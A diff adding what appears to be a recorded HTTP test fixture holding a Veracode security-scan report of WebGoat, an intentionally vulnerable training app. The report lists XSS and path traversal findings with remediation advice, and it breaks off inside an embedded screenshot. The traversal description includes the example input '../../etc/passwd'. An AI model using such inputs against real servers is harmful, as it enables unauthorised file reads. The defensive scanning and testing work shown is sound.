+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:10:38 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:10:41 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:10:41 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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